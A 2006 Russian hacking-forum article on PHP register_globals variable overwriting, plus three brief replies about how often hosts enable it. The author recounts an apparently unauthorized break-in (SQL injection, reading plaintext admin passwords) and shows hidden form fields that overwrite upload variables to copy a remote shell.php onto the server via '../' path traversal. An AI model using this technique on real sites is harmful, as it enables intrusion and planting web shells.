ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости register_globals
  #1  
Старый 12.11.2006, 18:18
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
Post Уязвимости register_globals

register_globals [ON]
Подмена переменных
--------------------------------------------------------------

Вступление
Совсем недавно я столкнулся с весьма необычным взломом. Необычным, потому что обычные методы, мне не помогли. Поэтому я решил поделится с вами этим методом, так как, я считаю, он имеет право на существование.


Теория
Как известно в пхп есть такая вещь как register_globals. Вдруг кто не знает - я объясню что это такое.

Register_globals - это одна из установок php.ini которая при ее включении позволяет регистрировать глобальные переменные. Ну это если дословно.

На практике же это собой представляет:
Можно передавать данные между скриптами методами GET или POST, но чтобы принять переменную, в скрипте должна быть строка
PHP код:
$i $_GET['i']; 
Данный код говорит о том, что для данного скрипта создана переменная $i, и в неё записаны данные переменной 'i' переданной скрипту методом GET.

Но если включен register_globals, но данная строка не нужна! При передачи скрипту какой либо переменной, если ее название будет совпадать с уже существующей, то оно ее просто заменит.

То есть если есть такой скрипт:
PHP код:
<?
echo $i;
?>
и есть html файл
Код:
<form action='script.php' method=POST>
<input type=hidden name='i' value='123'>
<input type=submit value='ok'>
</form>
То при его исполнении пхп скрипт выдаст на экран 123

Из жизни...
Как я уже говорил, недавно я встретился с таким вот взломом. Ресурс был давольно крупный, но с достаточно тупыми багами. Там была MySQL Injection и к моему счастью file_priv был [ON]
Я мог читать файлы. Недолго думая я проверил таблицы, и нашел таблицу admins, но радость моя была не долгой - хеши были какие-то еврейские.
Админку я нашел абсолютно случайно, в очень редком и непредвиденном для нее месте http://site.com/admin/
Меня приветсвовал скрипт предлагающий выбрать юзера из комбобокса, и ввести пасс к нему. Недолго думая я прочитал сурс админки - пассы лежали в чистом виде.

Теперь я мог добавлять новости и АПЛОАДИТЬ КАРТИНКИ. Более того, скрипт даже не проверял расширение файла, НО почему то я увидел вверху страницы надпись:

Warning: copy(/images/shell.php) [function.copy]: failed to open stream: No such file or directory in...

то есть просто не существовало такой диры.
Я решил почитать сурс аплоадера. там я увидел примерно такой код:
Код:
...
if(isset($file))
{
copy($file,"/images/".$file_name);
}
...
Далее просто я решил подменить переменные.
Для этого я создал HTML файл, и вписал туда.

Код:
<input type=hidden name="file" value="http://www.site.com/shell.php">
<input type=hidden name="file_name" value="../shell.php">
Запустил с локалхоста... Шелл уже ждал меня на сервере...


Вывод
Конечно в реальной истории было все намного сложнее и запутанней, но здесь я привел лишь модель.
Смысл баги в том, что, как правило, разработчики не предвидят возможность "плохого" использования register_globals а так как помоему на всех хостингах сейчас register_globals ON, то в определенных ситуациях это может нести смертельную опасность для безопасности скриптов.


--------------------------------------------------------------------
LoFFi (c)

Последний раз редактировалось LoFFi; 12.11.2006 в 23:47..
 
Ответить с цитированием

  #2  
Старый 12.11.2006, 18:37
Аватар для DIAgen
DIAgen
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
Провел на форуме:
7364332

Репутация: 1276


По умолчанию

Мне лично редко встречаются хосты с Register_Glabals=On, обычно ставять Off на более нормальных серваках
 
Ответить с цитированием

  #3  
Старый 12.11.2006, 19:13
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

ну может и не часто, но когда нибудь статья пригодится
 
Ответить с цитированием

  #4  
Старый 13.11.2006, 20:31
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Цитата:
а так как помоему на всех хостингах сейчас register_globals ON
поправка: на всех несккурных/шаред хостингах.
На хороших оно off.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ